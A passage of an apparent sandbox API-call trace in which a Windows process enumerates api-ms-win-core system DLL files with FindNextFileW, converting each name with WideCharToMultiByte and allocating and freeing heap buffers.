lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0035.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x30c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0035.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.972] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.972] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.972] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.972] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.972] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0035.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x30c288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0035.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.972] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.972] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.972] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.972] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.972] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0035.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x30c120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0035.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.973] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.973] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.973] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.973] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.973] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0035.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0035.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x30c288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0035.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.973] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.973] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.973] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.973] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.973] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0035.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x30c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0035.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.973] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.973] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.973] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.973] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.973] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0035.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x30c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0035.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.973] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.974] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.974] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.974] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.974] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0035.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x30c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0035.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.974] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.974] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.974] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.974] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.974] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0035.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x30c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0035.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.974] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.974] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.974] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.974] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.974] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0035.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0035.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x30c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0035.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.974] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.974] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.974] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.975] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.975] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0035.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x30c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0035.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.975] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.975] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.975] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.975] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.975] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0035.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x30c120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0035.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.975] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.975] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.975] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.975] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.975] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0035.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x30c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0035.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.975] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.975] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.975] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.975] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.976] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0035.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x30c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0035.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.976] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.976] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.976] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.976] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.976] FindNextFileW 